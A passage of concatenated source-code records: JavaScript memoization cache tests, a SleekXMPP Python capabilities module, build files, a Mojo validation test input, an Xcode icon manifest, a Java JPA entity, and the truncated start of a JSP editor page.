#2\");\n\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #5\"); // Clear 77, 11\n\t\t\t\t\ta(i, 6, \"Called #5\");\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #2\"); // Clear 5, 8\n\t\t\t\t\ta(i, 7, \"Called D #2\");\n\t\t\t\t\ta(mfn(12, 4), 16, \"Result C #3\");\n\t\t\t\t\ta(i, 7, \"Called C #3\");\n\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #5\"); // Clear 3, 7\n\t\t\t\t\ta(i, 8, \"Called B #5\");\n\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #3\");\n\t\t\t\t\ta(i, 8, \"Called D #3\");\n\n\t\t\t\t\tmfn.delete(77, 11);\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #4\");\n\t\t\t\t\ta(i, 9, \"Called D #4\");\n\n\t\t\t\t\tmfn.clear();\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #6\");\n\t\t\t\t\ta(i, 10, \"Called B #6\");\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #5\");\n\t\t\t\t\ta(i, 11, \"Called D #5\");\n\t\t\t\t},\n\t\t\t\tAsync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, primitive: true, max: 3 });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t\ta(i, 1, \"Called #1\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t\t\ta(i, 1, \"Called #2\");\n\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t\t\t\ta(i, 2, \"Called B #1\");\n\n\t\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t\t\t\t\ta(i, 2, \"Called #3\");\n\n\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t\t\t\t\t\ta(i, 2, \"Called B #2\");\n\n\t\t\t\t\t\t\t\t\t\ta(mfn(12, 4, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 16], \"Result C #1\");\n\t\t\t\t\t\t\t\t\t\t\ta(i, 3, \"Called C #1\");\n\n\t\t\t\t\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #4\");\n\t\t\t\t\t\t\t\t\t\t\t\ta(i, 3, \"Called #4\");\n\n\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 3, \"Called B #3\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88], \"Result D #1\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 4, \"Called D #1\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 4, \"Called B #4\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(12, 4, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 16], \"Result C #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 5, \"Called C #2\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 6, \"Called #5\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 7, \"Called D #2\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(12, 4, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 16],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result C #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 7, \"Called C #3\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result B #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 8, \"Called B #5\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 8, \"Called D #3\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmfn.delete(77, 11);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 9, \"Called D #4\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmfn.clear();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result B #6\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 10, \"Called B #6\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfunction (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 11, \"Called D #5\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #6\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial C #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial C #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #1\");\n\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #3\");\n\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial #4\");\n\t\t\t\t\t\t\t\t\t\t}), u, \"Initial C #1\");\n\t\t\t\t\t\t\t\t\t}), u, \"Initial B #2\");\n\t\t\t\t\t\t\t\t}), u, \"Initial #3\");\n\t\t\t\t\t\t\t}), u, \"Initial B #1\");\n\t\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\t}), u, \"Initial #1\");\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tDispose: {\n\t\t\tRegular: {\n\t\t\t\tSync: function (a) {\n\t\t\t\t\tvar mfn, fn, value = [], x, invoked;\n\t\t\t\t\tfn = function (x, y) { return x + y; };\n\t\t\t\t\tmfn = t(fn, { dispose: function (val) { value.push(val); } });\n\n\t\t\t\t\tmfn(3, 7);\n\t\t\t\t\tmfn(5, 8);\n\t\t\t\t\tmfn(12, 4);\n\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\tmfn.delete(5, 8);\n\t\t\t\t\ta.deep(value, [13], \"#1\");\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn.delete(12, 4);\n\t\t\t\t\ta.deep(value, [16], \"#2\");\n\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn(77, 11);\n\t\t\t\t\tmfn.clear();\n\t\t\t\t\ta.deep(value, [10, 88], \"Clear all\");\n\n\t\t\t\t\tx = {};\n\t\t\t\t\tinvoked = false;\n\t\t\t\t\tmfn = t(function () { return x; },\n\t\t\t\t\t\t{ dispose: function (val) { invoked = val; } });\n\n\t\t\t\t\tmfn.delete();\n\t\t\t\t\ta(invoked, false, \"No args: Post invalid clear\");\n\t\t\t\t\tmfn();\n\t\t\t\t\ta(invoked, false, \"No args: Post cache\");\n\t\t\t\t\tmfn.delete();\n\t\t\t\t\ta(invoked, x, \"No args: Pre clear\");\n\t\t\t\t},\n\t\t\t\t\"Ref counter\": function (a) {\n\t\t\t\t\tvar mfn, fn, value = [];\n\t\t\t\t\tfn = function (x, y) { return x + y; };\n\t\t\t\t\tmfn = t(fn, { refCounter: true,\n\t\t\t\t\t\tdispose: function (val) { value.push(val); } });\n\n\t\t\t\t\tmfn(3, 7);\n\t\t\t\t\tmfn(5, 8);\n\t\t\t\t\tmfn(12, 4);\n\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\tmfn(5, 8);\n\t\t\t\t\tmfn.deleteRef(5, 8);\n\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\tmfn.deleteRef(5, 8);\n\t\t\t\t\ta.deep(value, [13], \"#1\");\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn.deleteRef(12, 4);\n\t\t\t\t\ta.deep(value, [16], \"#2\");\n\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn(77, 11);\n\t\t\t\t\tmfn.clear();\n\t\t\t\t\ta.deep(value, [10, 88], \"Clear all\");\n\t\t\t\t},\n\t\t\t\tAsync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, value = [];\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () { cb(null, x + y); });\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true,\n\t\t\t\t\t\tdispose: function (val) { value.push(val); } });\n\n\t\t\t\t\tmfn(3, 7, function () {\n\t\t\t\t\t\tmfn(5, 8, function () {\n\t\t\t\t\t\t\tmfn(12, 4, function () {\n\t\t\t\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\t\t\t\tmfn.delete(5, 8);\n\t\t\t\t\t\t\t\ta.deep(value, [13], \"#1\");\n\t\t\t\t\t\t\t\tvalue = [];\n\t\t\t\t\t\t\t\tmfn.delete(12, 4);\n\t\t\t\t\t\t\t\ta.deep(value, [16], \"#2\");\n\n\t\t\t\t\t\t\t\tvalue = [];\n\t\t\t\t\t\t\t\tmfn(77, 11, function () {\n\t\t\t\t\t\t\t\t\tmfn.clear();\n\t\t\t\t\t\t\t\t\ta.deep(value, [10, 88], \"Clear all\");\n\t\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t},\n\t\t\tPrimitive: {\n\t\t\t\tSync: function (a) {\n\t\t\t\t\tvar mfn, fn, value = [];\n\t\t\t\t\tfn = function (x, y) { return x + y; };\n\t\t\t\t\tmfn = t(fn, { dispose: function (val) { value.push(val); } });\n\n\t\t\t\t\tmfn(3, 7);\n\t\t\t\t\tmfn(5, 8);\n\t\t\t\t\tmfn(12, 4);\n\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\tmfn.delete(5, 8);\n\t\t\t\t\ta.deep(value, [13], \"#1\");\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn.delete(12, 4);\n\t\t\t\t\ta.deep(value, [16], \"#2\");\n\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn(77, 11);\n\t\t\t\t\tmfn.clear();\n\t\t\t\t\ta.deep(value, [10, 88], \"Clear all\");\n\t\t\t\t},\n\t\t\t\t\"Ref counter\": function (a) {\n\t\t\t\t\tvar mfn, fn, value = [];\n\t\t\t\t\tfn = function (x, y) { return x + y; };\n\t\t\t\t\tmfn = t(fn, { refCounter: true,\n\t\t\t\t\t\tdispose: function (val) { value.push(val); } });\n\n\t\t\t\t\tmfn(3, 7);\n\t\t\t\t\tmfn(5, 8);\n\t\t\t\t\tmfn(12, 4);\n\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\tmfn(5, 8);\n\t\t\t\t\tmfn.deleteRef(5, 8);\n\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\tmfn.deleteRef(5, 8);\n\t\t\t\t\ta.deep(value, [13], \"#1\");\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn.deleteRef(12, 4);\n\t\t\t\t\ta.deep(value, [16], \"#2\");\n\n\t\t\t\t\tvalue = [];\n\t\t\t\t\tmfn(77, 11);\n\t\t\t\t\tmfn.clear();\n\t\t\t\t\ta.deep(value, [10, 88], \"Clear all\");\n\t\t\t\t},\n\t\t\t\tAsync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, value = [];\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () { cb(null, x + y); });\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true,\n\t\t\t\t\t\tdispose: function (val) { value.push(val); } });\n\n\t\t\t\t\tmfn(3, 7, function () {\n\t\t\t\t\t\tmfn(5, 8, function () {\n\t\t\t\t\t\t\tmfn(12, 4, function () {\n\t\t\t\t\t\t\t\ta.deep(value, [], \"Pre\");\n\t\t\t\t\t\t\t\tmfn.delete(5, 8);\n\t\t\t\t\t\t\t\ta.deep(value, [13], \"#1\");\n\t\t\t\t\t\t\t\tvalue = [];\n\t\t\t\t\t\t\t\tmfn.delete(12, 4);\n\t\t\t\t\t\t\t\ta.deep(value, [16], \"#2\");\n\n\t\t\t\t\t\t\t\tvalue = [];\n\t\t\t\t\t\t\t\tmfn(77, 11, function () {\n\t\t\t\t\t\t\t\t\tmfn.clear();\n\t\t\t\t\t\t\t\t\ta.deep(value, [10, 88], \"Clear all\");\n\t\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n};\n"} {"text": "\"\"\"\n SleekXMPP: The Sleek XMPP Library\n Copyright (C) 2011 Nathanael C. Fritz, Lance J.T. Stout\n This file is part of SleekXMPP.\n\n See the file LICENSE for copying permission.\n\"\"\"\n\nimport logging\n\nfrom sleekxmpp.xmlstream import JID\nfrom sleekxmpp.exceptions import IqError, IqTimeout\n\n\nlog = logging.getLogger(__name__)\n\n\nclass StaticCaps(object):\n\n \"\"\"\n Extend the default StaticDisco implementation to provide\n support for extended identity information.\n \"\"\"\n\n def __init__(self, xmpp, static):\n \"\"\"\n Augment the default XEP-0030 static handler object.\n\n Arguments:\n static -- The default static XEP-0030 handler object.\n \"\"\"\n self.xmpp = xmpp\n self.disco = self.xmpp['xep_0030']\n self.caps = self.xmpp['xep_0115']\n self.static = static\n self.ver_cache = {}\n self.jid_vers = {}\n\n def supports(self, jid, node, ifrom, data):\n \"\"\"\n Check if a JID supports a given feature.\n\n The data parameter may provide:\n feature -- The feature to check for support.\n local -- If true, then the query is for a JID/node\n combination handled by this Sleek instance and\n no stanzas need to be sent.\n Otherwise, a disco stanza must be sent to the\n remove JID to retrieve the info.\n cached -- If true, then look for the disco info data from\n the local cache system. If no results are found,\n send the query as usual. The self.use_cache\n setting must be set to true for this option to\n be useful. If set to false, then the cache will\n be skipped, even if a result has already been\n cached. Defaults to false.\n \"\"\"\n feature = data.get('feature', None)\n\n data = {'local': data.get('local', False),\n 'cached': data.get('cached', True)}\n\n if not feature:\n return False\n\n if node in (None, ''):\n info = self.caps.get_caps(jid)\n if info and feature in info['features']:\n return True\n\n try:\n info = self.disco.get_info(jid=jid, node=node,\n ifrom=ifrom, **data)\n info = self.disco._wrap(ifrom, jid, info, True)\n return feature in info['disco_info']['features']\n except IqError:\n return False\n except IqTimeout:\n return None\n\n def has_identity(self, jid, node, ifrom, data):\n \"\"\"\n Check if a JID has a given identity.\n\n The data parameter may provide:\n category -- The category of the identity to check.\n itype -- The type of the identity to check.\n lang -- The language of the identity to check.\n local -- If true, then the query is for a JID/node\n combination handled by this Sleek instance and\n no stanzas need to be sent.\n Otherwise, a disco stanza must be sent to the\n remove JID to retrieve the info.\n cached -- If true, then look for the disco info data from\n the local cache system. If no results are found,\n send the query as usual. The self.use_cache\n setting must be set to true for this option to\n be useful. If set to false, then the cache will\n be skipped, even if a result has already been\n cached. Defaults to false.\n \"\"\"\n identity = (data.get('category', None),\n data.get('itype', None),\n data.get('lang', None))\n\n data = {'local': data.get('local', False),\n 'cached': data.get('cached', True)}\n\n trunc = lambda i: (i[0], i[1], i[2])\n\n if node in (None, ''):\n info = self.caps.get_caps(jid)\n if info and identity in map(trunc, info['identities']):\n return True\n\n try:\n info = self.disco.get_info(jid=jid, node=node,\n ifrom=ifrom, **data)\n info = self.disco._wrap(ifrom, jid, info, True)\n return identity in map(trunc, info['disco_info']['identities'])\n except IqError:\n return False\n except IqTimeout:\n return None\n\n def cache_caps(self, jid, node, ifrom, data):\n with self.static.lock:\n verstring = data.get('verstring', None)\n info = data.get('info', None)\n if not verstring or not info:\n return\n self.ver_cache[verstring] = info\n\n def assign_verstring(self, jid, node, ifrom, data):\n with self.static.lock:\n if isinstance(jid, JID):\n jid = jid.full\n self.jid_vers[jid] = data.get('verstring', None)\n\n def get_verstring(self, jid, node, ifrom, data):\n with self.static.lock:\n return self.jid_vers.get(jid, None)\n\n def get_caps(self, jid, node, ifrom, data):\n with self.static.lock:\n return self.ver_cache.get(data.get('verstring', None), None)\n"} {"text": "# SPDX-License-Identifier: GPL-2.0\n# Makefile for the Eicon DIVA ISDN drivers.\n\n# Each configuration option enables a list of files.\n\nobj-$(CONFIG_ISDN_DIVAS)\t\t+= divadidd.o divas.o\nobj-$(CONFIG_ISDN_DIVAS_MAINT)\t\t+= diva_mnt.o\nobj-$(CONFIG_ISDN_DIVAS_USERIDI)\t+= diva_idi.o\nobj-$(CONFIG_ISDN_DIVAS_DIVACAPI)\t+= divacapi.o\n\n# Multipart objects. \n\ndivas-y\t\t\t\t\t:= divasmain.o divasfunc.o di.o io.o istream.o \\\n\t\t\t\t\t diva.o divasproc.o diva_dma.o\ndivas-$(CONFIG_ISDN_DIVAS_BRIPCI)\t+= os_bri.o s_bri.o os_4bri.o s_4bri.o\ndivas-$(CONFIG_ISDN_DIVAS_PRIPCI)\t+= os_pri.o s_pri.o\n\ndivacapi-y\t\t\t\t:= capimain.o capifunc.o message.o capidtmf.o\n\ndivadidd-y\t\t\t\t:= diva_didd.o diddfunc.o dadapter.o\n\ndiva_mnt-y\t\t\t\t:= divamnt.o mntfunc.o debug.o maintidi.o\n\ndiva_idi-y\t\t\t\t:= divasi.o idifunc.o um_idi.o dqueue.o\n"} {"text": "\n#ifndef __PNG_XIMAGE_H__\n#define __PNG_XIMAGE_H__\n\nint WritePng(char *filename, int width, int height, int px_size, float *buffer, char *title);\n\n#endif\n"} {"text": "cmake_minimum_required(VERSION 2.6)\n\nSET(TARGET CheckWMI)\n\t\nPROJECT(${TARGET})\n\nCREATE_MODULE(SRCS ${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR})\n\nSET(SRCS ${SRCS}\n\t\"${TARGET}.cpp\"\n\t${NSCP_INCLUDEDIR}/wmi/wmi_query.cpp\n\t\n\t${NSCP_DEF_PLUGIN_CPP}\n\t${NSCP_FILTER_CPP}\n ${NSCP_ERROR_CPP}\n)\n\n\nADD_DEFINITIONS(${NSCP_GLOBAL_DEFINES})\n\nIF(WIN32)\nSET(SRCS ${SRCS}\n\t\"${TARGET}.h\"\n\t${NSCP_INCLUDEDIR}/wmi/wmi_query.hpp\n\n\t${NSCP_DEF_PLUGIN_HPP}\n\t${NSCP_FILTER_HPP}\n ${NSCP_ERROR_HPP}\n)\nENDIF(WIN32)\n\nadd_library(${TARGET} MODULE ${SRCS})\n\ntarget_link_libraries(${TARGET}\n\t${NSCP_DEF_PLUGIN_LIB}\n\t${Boost_REGEX_LIBRARY}\n\t${Boost_PROGRAM_OPTIONS_LIBRARY}\n\t${NSCP_FILTER_LIB}\n\texpression_parser\n\tWbemuuid.lib\n)\n\nINCLUDE(${BUILD_CMAKE_FOLDER}/module.cmake)"} {"text": "[dist4]message_header // num_bytes\n[u4]0 // version\n[u4]0 // interface ID\n[u4]6 // name\n[u4]0 // flags\n[u4]0 // padding\n[anchr]message_header\n\n[dist4]method6_params // num_bytes\n[u4]0 // version\n[dist8]param0_ptr // param0\n[anchr]method6_params\n\n[anchr]param0_ptr\n[dist4]array_param // num_bytes\n[u4]1 // num_elements\n[dist8]element_ptr\n[anchr]array_param\n\n[anchr]element_ptr\n[dist4]array_element // num_bytes: It is insufficient to store 12 elements.\n[u4]12 // num_elements\n0 1 2 3 4 5 6 7 8 9\n[anchr]array_element\n"} {"text": "{\n \"images\" : [\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"20x20\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"20x20\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"29x29\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"29x29\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"40x40\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"40x40\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"60x60\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"iphone\",\n \"size\" : \"60x60\",\n \"scale\" : \"3x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"20x20\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"20x20\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"29x29\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"29x29\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"40x40\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"40x40\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"76x76\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"76x76\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ipad\",\n \"size\" : \"83.5x83.5\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"ios-marketing\",\n \"size\" : \"1024x1024\",\n \"scale\" : \"1x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} {"text": "package com.mploed.spring.events.creditapplication.events;\n\nimport javax.persistence.*;\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.UUID;\n\n@Entity\n@Inheritance(strategy = InheritanceType.JOINED)\npublic abstract class PersistentEvent implements Serializable {\n\t@Id\n\t@GeneratedValue\n\tprivate Long id;\n\n\tprivate UUID eventId;\n\n\t@Temporal(TemporalType.TIMESTAMP)\n\tprivate Date creationTime;\n\n\t@Column(name = \"appNumber\")\n\tprivate String applicationNumber;\n\n\tprotected PersistentEvent() {\n\n\t}\n\n\tpublic PersistentEvent(String applicationNumber) {\n\t\tthis.eventId = UUID.randomUUID();\n\t\tthis.creationTime = new Date();\n\t\tthis.applicationNumber = applicationNumber;\n\t}\n\n\tpublic String getApplicationNumber() {\n\t\treturn applicationNumber;\n\t}\n\n\tpublic void setApplicationNumber(String applicationNumber) {\n\t\tthis.applicationNumber = applicationNumber;\n\t}\n\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic UUID getEventId() {\n\t\treturn eventId;\n\t}\n\n\tpublic void setEventId(UUID eventId) {\n\t\tthis.eventId = eventId;\n\t}\n\n\tpublic Date getCreationTime() {\n\t\treturn creationTime;\n\t}\n\n\tpublic void setCreationTime(Date creationTime) {\n\t\tthis.creationTime = creationTime;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\t\t\treturn \"id=\" + id +\n\t\t\t\t\", eventId=\" + eventId +\n\t\t\t\t\", creationTime=\" + creationTime +\n\t\t\t\t\", applicationNumber='\" + applicationNumber + '\\'';\n\t}\n}\n"} {"text": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\"%>\r\n<%@ taglib prefix=\"fmt\" uri=\"http://java.sun.com/jsp/jstl/fmt\"%>\r\n<%@ taglib prefix=\"fn\" uri=\"http://java.sun.com/jsp/jstl/functions\"%>\r\n<%@ taglib uri=\"http://www.springframework.org/tags/form\" prefix=\"form\" %> \r\n<%\r\n\tString path = request.getContextPath();\r\n\tString basePath = request.getScheme() + \"://\"\r\n\t\t\t+ request.getServerName() + \":\" + request.getServerPort()\r\n\t\t\t+ path + \"/\";\r\n%>\r\n<!DOCTYPE html>\r\n<html lang=\"zh-CN\">\r\n\r\n<head>\r\n <base href=\"<%=basePath%>\">\r\n <meta charset=\"UTF-8\">\r\n <%@ include file=\"../top.jsp\"%>\r\n \r\n <!-- 样式文件 -->\r\n <link rel=\"stylesheet\" href=\"umeditor/themes/default/css/umeditor.css\">\r\n <!-- 引用jquery -->\r\n <script src=\"umeditor/third-party/jquery.min.js\"></script>\r\n <!-- 配置文件 -->\r\n <script type=\"text/javascript\" src=\"umeditor/umeditor.config.js\"></script>\r\n <!-- 编辑器源码文件 -->\r\n <script type=\"text/javascript\" src=\"umeditor/umeditor.js\"></script>\r\n <!-- 语言包文件 -->\r\n <script type=\"text/javascript\" src=\"umeditor/lang/en/en.js\"></script>\r\n <!-- 实例化编辑器代码 -->\r\n <script type=\"text/javascript\">\r\n $(function () {\r\n \twindow.UMEDITOR_HOME_URL = \"umeditor\"\r\n window.um = UM.getEditor('newscontent');\r\n um.setWidth(\"100%\");\r\n $(\".edui-body-container\").css(\"width\", \"98%\");\r\n });\r\n </script>\r\n <link rel=\"stylesheet\" 